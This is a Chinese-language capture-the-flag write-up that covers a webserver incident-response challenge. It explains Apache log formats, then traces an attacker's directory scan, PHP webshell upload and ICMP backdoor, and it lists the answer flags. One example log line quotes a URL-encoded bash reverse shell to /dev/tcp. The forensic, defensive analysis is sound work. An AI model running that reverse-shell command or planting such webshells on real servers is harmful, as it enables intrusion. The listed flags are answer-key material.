记一次某网络安全比赛三阶段webserver应急响应解题过程

0X01 任务说明

0X02 靶机介绍

Webserver(Web服务器)是一种软件或硬件设备,用于接收、处理并响应来自客户端(如浏览器)的HTTP请求,提供网页、图片、视频等静态或动态内容,是互联网基础设施的核心组件之一,其主要功能包括处理HTTP请求(接收客户端如浏览器发送的GET、POST等请求)、生成响应(根据请求内容返回对应资源如HTML页面、JSON数据)、管理静态文件(直接提供图片、CSS、JavaScript等静态资源)、与后端服务协作(通过API或脚本语言如PHP、Python与后端应用交互生成动态内容)以及支持安全协议(如HTTPS加密传输)、负载均衡(分发请求到多个服务器)和日志记录(记录访问信息用于分析和审计)等,常见的Web服务器软件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它们在性能、功能、配置复杂度等方面各有特点,广泛应用于网站托管、应用服务、API网关等场景。

0X03 涉及知识

  1. access.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录对服务器的每个HTTP请求的详细信息,包括访问时间、请求方法、URL、客户端IP等。
    格式:日志格式可以在配置文件中自定义,但通常包括客户端IP、用户标识符、用户名称、日期、请求
    方法:请求的URL、HTTP协议版本、响应状态码、响应大小等信息。
  2. error.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录Apache服务器的错误和警告消息,用于故障排除和问题诊断。
    格式:通常包含错误消息、时间戳和错误级别。
  3. other_vhosts_access.log(虚拟主机访问日志):
    位置:通常位于虚拟主机配置中指定的位置。
    作用:记录虚拟主机的HTTP请求,与 access.log 类似,但仅针对特定虚拟主机。
    格式:与 access.log 相同。
    access.log日志格式

access.log 文件的格式是可配置的,通常使用常见的日志格式,包括以下字段:

  1. 客户端IP地址:发出请求的客户端的IP地址。
  2. 客户端标识符(标识客户端身份的用户或代理):通常为空。
  3. 用户名(如果启用了HTTP身份验证,记录请求的用户名称):通常为空。
  4. 记录时间:请求被记录的时间。
  5. 请求方法:HTTP请求方法(例如,GET、POST)。
  6. 请求的URL:被请求的资源的URL。
  7. HTTP协议版本:请求使用的HTTP协议版本。
  8. 服务器响应状态码:服务器对请求的响应状态码(例如,200表示成功,404表示未找到,500表示服务器错误)。
  9. 响应大小:服务器响应的大小(以字节为单位)。
  10. 引用来源:如果有的话,表示从哪个页面链接访问的。
  11. 用户代理:发出请求的用户代理信息,通常包含浏览器类型和版本等。
复制代码
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码:200
9.响应大小:242
10.引用来源(Referer):"-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"

error.log日志格式

Sun Apr 24 15:17:51.546416 2022\] \[:error\] \[pid 77910\] \[client 192.168.1.7:53328\] script '/var/www/html/phpfm.php' not found or unable to stat 1. `[Sun Apr 24 15:17:51.546416 2022]`:表示错误发生的日期和时间,以及微秒级别的时间戳。这告诉您错误发生在2022年4月24日15:17:51.546416。这个时间戳通常以世界协调时(UTC)格式表示。 2. `[:error]`:指示错误的级别。在这里,级别是错误(error),这是Apache日志中的一种标准级别,表示发生了一个错误事件。 3. `[pid 77910]`:指示与错误相关的进程ID(PID)。在这里,PID是77910。这个信息对于跟踪特定请求的错误非常有用。 4. `[client 192.168.1.7:53328]`:指示客户端的IP地址和端口号。在这里,客户端的IP地址是192.168.1.7,而连接的端口号是53328。这有助于确定引发错误的客户端。 5. `script '/var/www/html/phpfm.php' not found or unable to stat`:这是错误消息的正文部分,提供了有关错误的详细信息。具体来说,它表示Apache服务器正在尝试查找名为`phpfm.php`的脚本文件,但未能找到它,或者由于某种原因无法对其进行状态检查(stat操作)。 这可能是因为文件不存在、权限问题或其他问题。

0X04 应急响应

1、提交攻击者的IP地址

首先,查看服务器所开放的端口,发现开放了80端口,并且运行的服务为apache2。

复制代码
#通过access.log.1日志文件内容,查看服务器的各种状态。
vim /var/log/apache2/access.log.1

可以看到IP为192.168.1.7的用户使用了DIRSEARCH扫描工具对网站目录进行了大量扫描,接着查看最后100行日志,在日志文件中发现漏洞利用的代码,这里通过文件上传漏洞,上传了1.php文件,并执行了id和whoami命令,最后反弹了shell。

flag{192.168.1.7}

2、识别攻击者使用的操作系统

flag{Linux x86_64}

3、找出攻击者资产收集所使用的平台

flag{shodan}

4、提交攻击者目录扫描所使用的工具名称

flag{DIRSEARCH}

5、提交黑客首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}

6、找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码

结合网站根目录路径为/var/www/html,木马所在的网站目录为/data/avatar/1.php 并且连接密码为2022。

flag{/var/www/html/data/avatar/1.php 2022}

7、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

复制代码
cd /var/www/html
#grep命令是Linux系统中一个非常重要且功能强大的文本搜索工具。
#以下命令用来检索网站根目录下包含一句话木马eval关键字的文件。
grep -r "eval"

flag{/var/www/html/footer.php}

8、识别系统中存在的恶意程序进程,提交进程名

python 复制代码
使用crontab -l 查看任务计划发现存在后门进程

flag{prism}

9、找到文件系统中的恶意程序文件并提交文件名(完整路径)

复制代码
#查看进程
ps -aux
#查看程序位置
lsof -p 981 (进程PID号)

flag{/root/.mal/prism}

10、简要描述该恶意文件的行为

python 复制代码
https://github.com/andreafabrizi/prism 项目地址

flag{ICMP后门执行远程攻击者的命令}

相关推荐
大学在校生,求offer联系13 分钟前
墨者学院SQL过滤字符后手工绕过漏洞测试(万能口令)
安全
字节跳动安全中心1 小时前
猎影计划:从密流中捕获 Cobalt Strike 的隐秘身影
人工智能·安全·llm
第十六年盛夏.1 小时前
【网络安全】不安全的反序列化漏洞
网络安全·漏洞
集成显卡1 小时前
网络安全 | 从 0 到 1 了解 WAF:Web 应用防火墙到底是什么?
网络·安全·web安全
FreeBuf_2 小时前
AI Agents漏洞百出,恶意提示等安全缺陷令人担忧
人工智能·安全
AORO20254 小时前
国产智能三防手机哪款最好?这款支持单北斗、5G-A、IP68
5g·安全·智能手机·信息与通信·harmonyos
wanhengidc4 小时前
进一步分析云手机的优势有哪些?
网络·安全·智能手机
777sea4 小时前
NSS-DAY17 2025SWPU-NSSCTF
网络安全·ctf
不念霉运6 小时前
关键领域软件研发如何构建智能知识管理体系?从文档自动化到安全协同的全面升级
运维·安全·自动化
ZeroNews内网穿透6 小时前
ZeroNews内网穿透安全策略深度解析:构建企业级安全连接体系
java·运维·服务器·网络·python·安全·php